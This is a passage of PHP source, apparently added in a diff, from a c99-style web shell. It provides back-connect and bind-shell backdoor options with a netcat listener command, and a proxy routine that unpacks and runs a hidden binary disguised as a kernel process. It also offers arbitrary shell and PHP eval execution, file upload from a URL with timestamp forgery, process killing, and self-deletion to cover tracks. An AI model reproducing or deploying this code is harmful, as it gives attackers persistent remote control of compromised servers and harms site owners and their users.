readonly>".$debase64."</textarea>";} + echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b></b></a>"; + } + echo "</br></br><b>Base convertations</b>:</br></br>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\""; + $c = strlen($encoder_input); + for($i=0;$i<$c;$i++) + { + $hex = dechex(ord($encoder_input[$i])); + if ($encoder_input[$i] == "&") {echo $encoder_input[$i];} + elseif ($encoder_input[$i] != "\\") {echo "%".$hex;} + } + echo "\" readonly><br></form>"; +} +if ($act == "backc") +{ + $ip = $_SERVER["REMOTE_ADDR"]; + $msg = $_POST['backcconnmsg']; + $emsg = $_POST['backcconnmsge']; + echo("<b>Back-Connection:</b></br></br><form name=form method=POST>Host:<input type=text name=backconnectip size=15 value=$ip> Port: <input type=text name=backconnectport size=15 value=5992> Use: <select size=1 name=use><option value=Perl>Perl</option><option value=C>C</option></select> <input type=submit name=submit value=Connect></form>Click 'Connect' only after you open port for it first. Once open, use NetCat, and run '<b>nc -l -n -v -p 5992</b>'<br><br>"); + echo("$msg"); + echo("$emsg"); +} + +if ($act == "shbd"){ +$msg = $_POST['backcconnmsg']; +$emsg = $_POST['backcconnmsge']; +echo("<b>Bind Shell Backdoor:</b></br></br><form name=form method=POST> +Bind Port: <input type='text' name='backconnectport' value='5992'> +<input type='hidden' name='use' value='shbd'> +<input type='submit' value='Install Backdoor'></form>"); +echo("$msg"); +echo("$emsg"); +} + + +if ($act == "proxy") { + cf("/tmp/hantu.tgz",$proxy_shit); + ex("cd /tmp;tar -zxvf hantu.tgz"); + ex("cd /tmp;cd .setan;chmod 777 xh"); + ex("cd /tmp;cd .setan;chmod 777 httpd"); + ex("cd /tmp;cd .setan;./xh -s [kmod] ./httpd start"); + checkproxyhost(); + $msg = $_POST['proxyhostmsg']; + echo("$msg"); + unlink("/tmp/hantu.tgz"); + ex("cd /tmp; rm -r .setan"); +} + +if ($act == "selfremove") +{ + if (($submit == $rndcode) and ($submit != "")) + { + if (unlink(__FILE__)) {@ob_clean(); echo "Gone!"; c99shexit(); } + else {echo "<center><b>Can't delete ".__FILE__."!</b></center>";} + } + else + { + if (!empty($rndcode)) {echo "<b>Error: incorrect confimation!</b>";} + $rnd = rand(0,9).rand(0,9).rand(0,9); + echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." </br></br>For confirmation, enter \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"YES\"></form>"; + } +} +if ($act == "search"){ + echo "<b>Search file-system:</b></br></br>"; + if (empty($search_in)) {$search_in = $d;} + if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;} + if (empty($search_text_wwo)) {$search_text_regexp = 0;} + if (!empty($submit)) + { + $found = array(); + $found_d = 0; + $found_f = 0; + $search_i_f = 0; + $search_i_d = 0; + $a = array + ( + "name"=>$search_name, "name_regexp"=>$search_name_regexp, + "text"=>$search_text, "text_regexp"=>$search_text_regxp, + "text_wwo"=>$search_text_wwo, + "text_cs"=>$search_text_cs, + "text_not"=>$search_text_not + ); + $searchtime = getmicrotime(); + $in = array_unique(explode(";",$search_in)); + foreach($in as $v) {c99fsearch($v);} + $searchtime = round(getmicrotime()-$searchtime,4); + if (count($found) == 0) {echo "<b>No files found!</b>";} + else + { + $ls_arr = $found; + $disp_fullpath = TRUE; + $act = "ls"; + } + } + echo "<form method=POST> +<input type=hidden name=\"d\" value=\"".$dispd."\"><input type=hidden name=act value=\"".$dspact."\"> +<b>File/folder name: </b><input type=\"text\" name=\"search_name\" size=\"".round(strlen($search_name)+25)."\" value=\"".htmlspecialchars($search_name)."\">&nbsp;<input type=\"checkbox\" name=\"search_name_regexp\" value=\"1\" ".($search_name_regexp == 1?" checked":"")."> - regexp +<br><b>Directory:&nbsp;&nbsp; </b><input type=\"text\" name=\"search_in\" size=\"".round(strlen($search_in)+25)."\" value=\"".htmlspecialchars($search_in)."\"> +<br><b>Text:</b>&nbsp;&nbsp;<input type=text name=\"search_text\" size=42 value=".htmlspecialchars($search_text)."> + +<br><br><input type=\"checkbox\" name=\"search_text_regexp\" value=\"1\" ".($search_text_regexp == 1?" checked":"")."> - regexp +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_wwo\" value=\"1\" ".($search_text_wwo == 1?" checked":"")."> - <u>w</u>hole words only +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_cs\" value=\"1\" ".($search_text_cs == 1?" checked":"")."> - cas<u>e</u> sensitive +&nbsp;&nbsp;<input type=\"checkbox\" name=\"search_text_not\" value=\"1\" ".($search_text_not == 1?" checked":"")."> - find files <u>NOT</u> containing the text +<br><br><input type=submit name=submit value=\"Search\"></form>"; + if ($act == "ls") {$dspact = $act; echo "<hr size=\"1\" noshade><b>Search took ".$searchtime." secs (".$search_i_f." files and ".$search_i_d." folders, ".round(($search_i_f+$search_i_d)/$searchtime,4)." objects per second).</b><br><br>";} +} +if ($act == "chmod") +{ + $mode = fileperms($d.$f); + if (!$mode) {echo "<b>Change file-mode with error:</b> can't get current value.";} + else + { + $form = TRUE; + if ($chmod_submit) + { + $octet = "0".base_convert(($chmod_o["r"]?1:0).($chmod_o["w"]?1:0).($chmod_o["x"]?1:0).($chmod_g["r"]?1:0).($chmod_g["w"]?1:0).($chmod_g["x"]?1:0).($chmod_w["r"]?1:0).($chmod_w["w"]?1:0).($chmod_w["x"]?1:0),2,8); + if (chmod($d.$f,$octet)) {$act = "ls"; $form = FALSE; $err = "";} + else {$err = "Can't chmod to ".$octet.".";} + } + if ($form) + { + $perms = parse_perms($mode); + echo "<b>Changing file-mode (".$d.$f."), ".view_perms_color($d.$f)." (".substr(decoct(fileperms($d.$f)),-4,4).")</b><br>".($err?"<b>Error:</b> ".$err:"")."<form action=\"".$surl."\" method=POST><input type=hidden name=d value=\"".htmlspecialchars($d)."\"><input type=hidden name=f value=\"".htmlspecialchars($f)."\"><input type=hidden name=act value=chmod><table align=left width=300 border=0 cellspacing=0 cellpadding=5><tr><td><b>Owner</b><br><br><input type=checkbox NAME=chmod_o[r] value=1".($perms["o"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox name=chmod_o[w] value=1".($perms["o"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_o[x] value=1".($perms["o"]["x"]?" checked":"").">eXecute</td><td><b>Group</b><br><br><input type=checkbox NAME=chmod_g[r] value=1".($perms["g"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_g[w] value=1".($perms["g"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_g[x] value=1".($perms["g"]["x"]?" checked":"").">eXecute</font></td><td><b>World</b><br><br><input type=checkbox NAME=chmod_w[r] value=1".($perms["w"]["r"]?" checked":"").">&nbsp;Read<br><input type=checkbox NAME=chmod_w[w] value=1".($perms["w"]["w"]?" checked":"").">&nbsp;Write<br><input type=checkbox NAME=chmod_w[x] value=1".($perms["w"]["x"]?" checked":"").">eXecute</font></td></tr><tr><td><input type=submit name=chmod_submit value=\"Save\"></td></tr></table></form>"; + } + } +} +if ($act == "upload") +{ + $uploadmess = ""; + $uploadpath = str_replace("\\",DIRECTORY_SEPARATOR,$uploadpath); + if (empty($uploadpath)) {$uploadpath = $d;} + elseif (substr($uploadpath,-1) != "/") {$uploadpath .= "/";} + if (!empty($submit)) + { + global $HTTP_POST_FILES; + $uploadfile = $HTTP_POST_FILES["uploadfile"]; + if (!empty($uploadfile["tmp_name"])) + { + if (empty($uploadfilename)) {$destin = $uploadfile["name"];} + else {$destin = $userfilename;} + if (!move_uploaded_file($uploadfile["tmp_name"],$uploadpath.$destin)) {$uploadmess .= "Error uploading file ".$uploadfile["name"].". Can't copy \"".$uploadfile["tmp_name"]."\" to \"".$uploadpath.$destin."\".</br></br>";} + } + elseif (!empty($uploadurl)) + { + if (!empty($uploadfilename)) {$destin = $uploadfilename;} + else + { + $destin = explode("/",$destin); + $destin = $destin[count($destin)-1]; + if (empty($destin)) + { + $i = 0; + $b = ""; + while(file_exists($uploadpath.$destin)) {if ($i > 0) {$b = "_".$i;} $destin = "index".$b.".html"; $i++;}} + } + if ((!eregi("http://",$uploadurl)) and (!eregi("https://",$uploadurl)) and (!eregi("ftp://",$uploadurl))) {echo "<b>Incorect url!</b><br>";} + else + { + $st = getmicrotime(); + $content = @file_get_contents($uploadurl); + $dt = round(getmicrotime()-$st,4); + if (!$content) {$uploadmess .= "Can't download file!<br>";} + else + { + if ($filestealth) {$stat = stat($uploadpath.$destin);} + $fp = fopen($uploadpath.$destin,"w"); + if (!$fp) {$uploadmess .= "Error writing to file ".htmlspecialchars($destin)."!<br>";} + else + { + fwrite($fp,$content,strlen($content)); + fclose($fp); + if ($filestealth) {touch($uploadpath.$destin,$stat[9],$stat[8]);} + } + } + } + } + } + if ($miniform) + { + echo "<b>".$uploadmess."</b>"; + $act = "ls"; + } + else + { + echo "<b>File upload:</b><br><b>".$uploadmess."</b><form enctype=\"multipart/form-data\" action=\"".$surl."act=upload&d=".urlencode($d)."\" method=POST> +Select file on your local computer: <input name=\"uploadfile\" type=\"file\"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;or<br> +Input URL: <input name=\"uploadurl\" type=\"text\" value=\"".htmlspecialchars($uploadurl)."\" size=\"70\"><br><br> +Save this file dir: <input name=\"uploadpath\" size=\"70\" value=\"".$dispd."\"><br><br> +File-name (auto-fill): <input name=uploadfilename size=25><br><br> +<input type=checkbox name=uploadautoname value=1 id=df4>&nbsp;convert file name to lovercase<br><br> +<input type=submit name=submit value=\"Upload\"> +</form>"; + } +} +if ($act == "delete") +{ + $delerr = ""; + foreach ($actbox as $v) + { + $result = FALSE; + $result = fs_rmobj($v); + if (!$result) {$delerr .= "Can't delete ".htmlspecialchars($v)."<br>";} + } + if (!empty($delerr)) {echo "<b>Deleting with errors:</b><br>".$delerr;} + $act = "ls"; +} +if (!$usefsbuff) +{ + if (($act == "paste") or ($act == "copy") or ($act == "cut") or ($act == "unselect")) {echo "<center><b>Sorry, buffer is disabled. For enable, set directive \"\$useFSbuff\" as TRUE.</center>";} +} +else +{ + if ($act == "copy") {$err = ""; $sess_data["copy"] = array_merge($sess_data["copy"],$actbox); c99_sess_put($sess_data); $act = "ls"; } + elseif ($act == "cut") {$sess_data["cut"] = array_merge($sess_data["cut"],$actbox); c99_sess_put($sess_data); $act = "ls";} + elseif ($act == "unselect") {foreach ($sess_data["copy"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["copy"][$k]);}} foreach ($sess_data["cut"] as $k=>$v) {if (in_array($v,$actbox)) {unset($sess_data["cut"][$k]);}} c99_sess_put($sess_data); $act = "ls";} + if ($actemptybuff) {$sess_data["copy"] = $sess_data["cut"] = array(); c99_sess_put($sess_data);} + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$to)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$to)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } + elseif ($actarcbuff) + { + $arcerr = ""; + if (substr($actarcbuff_path,-7,7) == ".tar.gz") {$ext = ".tar.gz";} + else {$ext = ".tar.gz";} + if ($ext == ".tar.gz") {$cmdline = "tar cfzv";} + $cmdline .= " ".$actarcbuff_path; + $objects = array_merge($sess_data["copy"],$sess_data["cut"]); + foreach($objects as $v) + { + $v = str_replace("\\",DIRECTORY_SEPARATOR,$v); + if (substr($v,0,strlen($d)) == $d) {$v = basename($v);} + if (is_dir($v)) + { + if (substr($v,-1) != DIRECTORY_SEPARATOR) {$v .= DIRECTORY_SEPARATOR;} + $v .= "*"; + } + $cmdline .= " ".$v; + } + $tmp = realpath("."); + chdir($d); + $ret = myshellexec($cmdline); + chdir($tmp); + if (empty($ret)) {$arcerr .= "Can't call archivator (".htmlspecialchars(str2mini($cmdline,60)).")!<br>";} + $ret = str_replace("\r\n","\n",$ret); + $ret = explode("\n",$ret); + if ($copy_unset) {foreach($sess_data["copy"] as $k=>$v) {unset($sess_data["copy"][$k]);}} + foreach($sess_data["cut"] as $k=>$v) + { + if (in_array($v,$ret)) {fs_rmobj($v);} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($arcerr)) {echo "<b>Archivation errors:</b><br>".$arcerr;} + $act = "ls"; + } + elseif ($actpastebuff) + { + $psterr = ""; + foreach($sess_data["copy"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_copy_obj($v,$d)) {$psterr .= "Can't copy ".$v." to ".$to."!<br>";} + if ($copy_unset) {unset($sess_data["copy"][$k]);} + } + foreach($sess_data["cut"] as $k=>$v) + { + $to = $d.basename($v); + if (!fs_move_obj($v,$d)) {$psterr .= "Can't move ".$v." to ".$to."!<br>";} + unset($sess_data["cut"][$k]); + } + c99_sess_put($sess_data); + if (!empty($psterr)) {echo "<b>Pasting with errors:</b><br>".$psterr;} + $act = "ls"; + } +} +if ($act == "cmd") +{ +if (trim($cmd) == "ps aux") {$act = "processes";} +elseif (trim($cmd) == "tasklist") {$act = "processes";} +else +{ + @chdir($chdir); + if (!empty($submit)) + { + $execcmd = $_REQUEST['cmd']; + echo "Result Of Locally Executed Command: <b>$execcmd</b></br>"; + $olddir = realpath("."); + @chdir($d); + $ret = myshellexec($cmd); + $ret = convert_cyr_string($ret,"d","w"); + if ($cmd_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + @chdir($olddir); + } + else {echo "<b>Execution command</b>"; if (empty($cmd_txt)) {$cmd_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=cmd><textarea name=cmd cols=122 rows=10>".htmlspecialchars($cmd)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit name=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"cmd_txt\" value=\"1\""; if ($cmd_txt) {echo " checked";} echo "></form>"; +} +} +if ($act == "ls") +{ + if (count($ls_arr) > 0) {$list = $ls_arr;} + else + { + $list = array(); + if ($h = @opendir($d)) + { + while (($o = readdir($h)) !== FALSE) {$list[] = $d.$o;} + closedir($h); + } + else {} + } + if (count($list) == 0) {echo "<center><b>Can't open folder ".htmlspecialchars($d)."</b></center>";} + else + { + //Building array + $objects = array(); + $vd = "f"; //Viewing mode + if ($vd == "f") + { + $objects["head"] = array(); + $objects["folders"] = array(); + $objects["links"] = array(); + $objects["files"] = array(); + foreach ($list as $v) + { + $o = basename($v); + $row = array(); + if ($o == ".") {$row[] = $d.$o; $row[] = "LINK";} + elseif ($o == "..") {$row[] = $d.$o; $row[] = "LINK";} + elseif (is_dir($v)) + { + if (is_link($v)) {$type = "LINK";} + else {$type = "DIR";} + $row[] = $v; + $row[] = $type; + } + elseif(is_file($v)) {$row[] = $v; $row[] = filesize($v);} + $row[] = filemtime($v); + if (!$win) + { + $ow = posix_getpwuid(fileowner($v)); + $gr = posix_getgrgid(filegroup($v)); + $row[] = ($ow["name"]?$ow["name"]:fileowner($v))."/".($gr["name"]?$gr["name"]:filegroup($v)); + } + $row[] = fileperms($v); + if (($o == ".") or ($o == "..")) {$objects["head"][] = $row;} + elseif (is_link($v)) {$objects["links"][] = $row;} + elseif (is_dir($v)) {$objects["folders"][] = $row;} + elseif (is_file($v)) {$objects["files"][] = $row;} + $i++; + } + $row = array(); + $row[] = "<b>Name</b>"; + $row[] = "<b>Size</b>"; + $row[] = "<b>Modify</b>"; + if (!$win) + {$row[] = "<b>Owner/Group</b>";} + $row[] = "<b>Perms</b>"; + $row[] = "<b>Action</b>"; + $parsesort = parsesort($sort); + $sort = $parsesort[0].$parsesort[1]; + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$parsesort[1] = "d";} + $y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$k.($parsesort[1] == "a"?"d":"a")."\">"; + $y .= "[Sort-".($parsesort[1] == "a"?"Asc.":"Desc")."]</a>"; + $row[$k] .= $y; + for($i=0;$i<count($row)-1;$i++) + { + if ($i != $k) {$row[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&sort=".$i.$parsesort[1]."\">".$row[$i]."</a>";} + } + $v = $parsesort[0]; + usort($objects["folders"], "tabsort"); + usort($objects["links"], "tabsort"); + usort($objects["files"], "tabsort"); + if ($parsesort[1] == "d") + { + $objects["folders"] = array_reverse($objects["folders"]); + $objects["files"] = array_reverse($objects["files"]); + } + $objects = array_merge($objects["head"],$objects["folders"],$objects["links"],$objects["files"]); + $tab = array(); + $tab["cols"] = array($row); + $tab["head"] = array(); + $tab["folders"] = array(); + $tab["links"] = array(); + $tab["files"] = array(); + $i = 0; + foreach ($objects as $a) + { + $v = $a[0]; + $o = basename($v); + $dir = dirname($v); + if ($disp_fullpath) {$disppath = $v;} + else {$disppath = $o;} + $disppath = str2mini($disppath,60); + if (in_array($v,$sess_data["cut"])) {$disppath = "<strike>".$disppath."</strike>";} + elseif (in_array($v,$sess_data["copy"])) {$disppath = "<u>".$disppath."</u>";} + foreach ($regxp_highlight as $r) + { + if (ereg($r[0],$o)) + { + if ((!is_numeric($r[1])) or ($r[1] > 3)) {$r[1] = 0; ob_clean(); echo "Warning! Configuration error in \$regxp_highlight[".$k."][0] - unknown command."; c99shexit();} + else + { + $r[1] = round($r[1]); + $isdir = is_dir($v); + if (($r[1] == 0) or (($r[1] == 1) and !$isdir) or (($r[1] == 2) and !$isdir)) + { + if (empty($r[2])) {$r[2] = "<b>"; $r[3] = "</b>";} + $disppath = $r[2].$disppath.$r[3]; + if ($r[4]) {break;} + } + } + } + } + $uo = urlencode($o); + $ud = urlencode($dir); + $uv = urlencode($v); + $row = array(); + if ($o == ".") + { + $row[] = "&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif ($o == "..") + { + $row[] = "&nbsp;<a href=\"".$surl."act=".$dspact."&d=".urlencode(realpath($d.$o))."&sort=".$sort."\">".$o."</a>"; + $row[] = "LINK"; + } + elseif (is_dir($v)) + { + if (is_link($v)) + { + $disppath .= " => ".readlink($v); + $type = "LINK"; + $row[] = "&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + else + { + $type = "DIR"; + $row[] = "&nbsp;<a href=\"".$surl."act=ls&d=".$uv."&sort=".$sort."\">[".$disppath."]</a>"; + } + $row[] = $type; + } + elseif(is_file($v)) + { + $ext = explode(".",$o); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $row[] = "&nbsp;<a href=\"".$surl."act=f&f=".$uo."&d=".$ud."&\">".$disppath."</a>"; + $row[] = view_size($a[1]); + } + $row[] = date("d.m.Y H:i:s",$a[2]); + if (!$win) {$row[] = $a[3];} + $row[] = "<a href=\"".$surl."act=chmod&f=".$uo."&d=".$ud."\"><b>".view_perms_color($v)."</b></a>"; + if ($o == ".") {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" onclick=\"ls_reverse_all();\">"; $i--;} + else {$checkbox = "<input type=\"checkbox\" name=\"actbox[]\" id=\"actbox".$i."\" value=\"".htmlspecialchars($v)."\">";} + if (is_dir($v)) {$row[] = "<a href=\"".$surl."act=d&d=".$uv."\">[Info]</a>&nbsp;".$checkbox;} + else {$row[] = "<a href=\"".$surl."act=f&f=".$uo."&ft=info&d=".$ud."\">[Info]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=edit&d=".$ud."\">[Change]</a>&nbsp;<a href=\"".$surl."act=f&f=".$uo."&ft=download&d=".$ud."\">[Download]</a>&nbsp;".$checkbox;} + if (($o == ".") or ($o == "..")) {$tab["head"][] = $row;} + elseif (is_link($v)) {$tab["links"][] = $row;} + elseif (is_dir($v)) {$tab["folders"][] = $row;} + elseif (is_file($v)) {$tab["files"][] = $row;} + $i++; + } + } + // Compiling table + $table = array_merge($tab["cols"],$tab["head"],$tab["folders"],$tab["links"],$tab["files"]); + echo "<center><b><u>Listing Folder: ".count($tab["files"])." files and ".(count($tab["folders"])+count($tab["links"]))." folders</u></b></center><br> + <TABLE width=100% id=bordered> + <form action=\"".$surl."\" method=POST name=\"ls_form\"> + <input type=hidden name=act value=".$dspact."><input type=hidden name=d value=".$d.">"; + foreach($table as $row) + { + echo "<tr>\r\n"; + foreach($row as $v) {echo "<td>".$v."</td>\r\n";} + echo "</tr>\r\n"; + } + echo "</table><hr size=\"1\" noshade><p align=\"right\"> + <script> + function ls_setcheckboxall(status) + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = status; + id++; + } + } + function ls_reverse_all() + { + var id = 1; + var num = ".(count($table)-2)."; + while (id <= num) + { + document.getElementById('actbox'+id).checked = !document.getElementById('actbox'+id).checked; + id++; + } + } + </script> + <input type=\"button\" onclick=\"ls_setcheckboxall(true);\" value=\"Select all\">&nbsp;&nbsp;<input type=\"button\" onclick=\"ls_setcheckboxall(false);\" value=\"Unselect all\"> + <b>"; + if (count(array_merge($sess_data["copy"],$sess_data["cut"])) > 0 and ($usefsbuff)) + { + echo "<input type=submit name=actarcbuff value=\"Pack buffer to archive\">&nbsp;<input type=\"text\" name=\"actarcbuff_path\" value=\"archive_".substr(md5(rand(1,1000).rand(1,1000)),0,5).".tar.gz\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actpastebuff\" value=\"Paste\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<input type=submit name=\"actemptybuff\" value=\"Empty buffer\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;"; + } + echo "<select name=act><option value=\"".$act."\">With selected:</option>"; + echo "<option value=delete".($dspact == "delete"?" selected":"").">Delete</option>"; + echo "<option value=chmod".($dspact == "chmod"?" selected":"").">Change-mode</option>"; + if ($usefsbuff) + { + echo "<option value=cut".($dspact == "cut"?" selected":"").">Cut</option>"; + echo "<option value=copy".($dspact == "copy"?" selected":"").">Copy</option>"; + echo "<option value=unselect".($dspact == "unselect"?" selected":"").">Unselect</option>"; + } + echo "</select>&nbsp;<input type=submit value=\"Confirm\"></p>"; + echo "</form>"; + } +} + +if ($act == "processes") +{ + echo "<b>Processes:</b><br>"; + if (!$win) {$handler = "ps aux".($grep?" | grep '".addslashes($grep)."'":"");} + else {$handler = "tasklist";} + $ret = myshellexec($handler); + if (!$ret) {echo "</br>Can't execute \"".$handler."\"!";} + else + { + if (empty($processes_sort)) {$processes_sort = $sort_default;} + $parsesort = parsesort($processes_sort); + if (!is_numeric($parsesort[0])) {$parsesort[0] = 0;} + $k = $parsesort[0]; + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\">[sort_desc]</a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\">[sort_asc]</a>";} + $ret = htmlspecialchars($ret); + if (!$win) + { + if ($pid) + { + if (is_null($sig)) {$sig = 9;} + echo "Sending signal ".$sig." to #".$pid."... "; + if (posix_kill($pid,$sig)) {echo "OK.";} + else {echo "ERROR.";} + } + while (ereg(" ",$ret)) {$ret = str_replace(" "," ",$ret);} + $stack = explode("\n",$ret); + $head = explode(" ",$stack[0]); + unset($stack[0]); + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".$head[$i]."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) +{ + echo "<tr>"; + $line = explode(" ",$line); + $line[10] = join(" ",array_slice($line,10)); + $line = array_slice($line,0,11); + if ($line[0] == get_current_user()) {$line[0] = "<font color=red>".$line[0]."</font>";} + $line[] = "<a href=\"".$surl."act=processes&d=".urlencode($d)."&pid=".$line[1]."&sig=9\"><u>KILL</u></a>"; + $prcs[] = $line; + echo "</tr>"; + } + } + } + else + { + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + while (ereg("",$ret)) {$ret = str_replace("","",$ret);} + while (ereg(" ",$ret)) {$ret = str_replace(" ","",$ret);} + $ret = convert_cyr_string($ret,"d","w"); + $stack = explode("\n",$ret); + unset($stack[0],$stack[2]); + $stack = array_values($stack); + $head = explode("",$stack[0]); + $head[1] = explode(" ",$head[1]); + $head[1] = $head[1][0]; + $stack = array_slice($stack,1); + unset($head[2]); + $head = array_values($head); + if ($parsesort[1] != "a") {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."a\">[sort_desc]</a>";} + else {$y = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$k."d\">[sort_asc]</a>";} + if ($k > count($head)) {$k = count($head)-1;} + for($i=0;$i<count($head);$i++) + { + if ($i != $k) {$head[$i] = "<a href=\"".$surl."act=".$dspact."&d=".urlencode($d)."&processes_sort=".$i.$parsesort[1]."\"><b>".trim($head[$i])."</b></a>";} + } + $prcs = array(); + foreach ($stack as $line) + { + if (!empty($line)) + { + echo "<tr>"; + $line = explode("",$line); + $line[1] = intval($line[1]); $line[2] = $line[3]; unset($line[3]); + $line[2] = intval(str_replace(" ","",$line[2]))*1024; + $prcs[] = $line; + echo "</tr>"; + } + } + } + $head[$k] = "<b>".$head[$k]."</b>".$y; + $v = $processes_sort[0]; + usort($prcs,"tabsort"); + if ($processes_sort[1] == "d") {$prcs = array_reverse($prcs);} + $tab = array(); + $tab[] = $head; + $tab = array_merge($tab,$prcs); + echo "<TABLE height=1 cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1 bordercolor=\"#C0C0C0\">"; + foreach($tab as $i=>$k) + { + echo "<tr>"; + foreach($k as $j=>$v) {if ($win and $i > 0 and $j == 2) {$v = view_size($v);} echo "<td>".$v."</td>";} + echo "</tr>"; + } + echo "</table>"; + } +} +if ($act == "eval") +{ + if (!empty($eval)) + { + echo "<b>Result of execution this PHP-code</b>:<br>"; + $tmp = ob_get_contents(); + $olddir = realpath("."); + @chdir($d); + if ($tmp) + { + ob_clean(); + eval($eval); + $ret = ob_get_contents(); + $ret = convert_cyr_string($ret,"d","w"); + ob_clean(); + echo $tmp; + if ($eval_txt) + { + $rows = count(explode("\r\n",$ret))+1; + if ($rows < 10) {$rows = 10;} + echo "<br><textarea cols=\"122\" rows=\"".$rows."\" readonly>".htmlspecialchars($ret)."</textarea>"; + } + else {echo $ret."<br>";} + } + else + { + if ($eval_txt) + { + echo "<br><textarea cols=\"122\" rows=\"15\" readonly>"; + eval($eval); + echo "</textarea>"; + } + else {echo $ret;} + } + @chdir($olddir); + } + else {echo "<b>Execution PHP-code</b>"; if (empty($eval_txt)) {$eval_txt = TRUE;}} + echo "<form action=\"".$surl."\" method=POST><input type=hidden name=act value=eval><textarea name=\"eval\" cols=\"122\" rows=\"10\">".htmlspecialchars($eval)."</textarea><input type=hidden name=\"d\" value=\"".$dispd."\"><br><br><input type=submit value=\"Execute\">&nbsp;Display in text-area&nbsp;<input type=\"checkbox\" name=\"eval_txt\" value=\"1\""; if ($eval_txt) {echo " checked";} echo "></form>"; +} +if ($act == "f") +{ + if ((!is_readable($d.$f) or is_dir($d.$f)) and $ft != "edit") + { + if (file_exists($d.$f)) {echo "<center><b>Permision denied (".htmlspecialchars($d.$f).")!</b></center>";} + else {echo "<center><b>File does not exists (".htmlspecialchars($d.$f).")!</b><br><a href=\"".$surl."act=f&f=".urlencode($f)."&ft=edit&d=".urlencode($d)."&c=1\"><u>Create</u></a></center>";} + } + else + { + $r = @file_get_contents($d.$f); + $ext = explode(".",$f); + $c = count($ext)-1; + $ext = $ext[$c]; + $ext = strtolower($ext); + $rft = ""; + foreach($ftypes as $k=>$v) {if (in_array($ext,$v)) {$rft = $k; break;}} + if (eregi("sess_(.*)",$f)) {$rft = "phpsess";} + if (empty($ft)) {$ft = $rft;} + $arr = array( + array("[hex]","info"), + array("[html]","html"), + array("[txt]","txt"), + array("[Code]","code"), + array("[Session]","phpsess"), + array("[exe]","exe"), + array("[SDB]","sdb"), + array("[gif]","img"), + array("[ini]","ini"), + array("[download]","download"), + array("[rtf]","notepad"), + 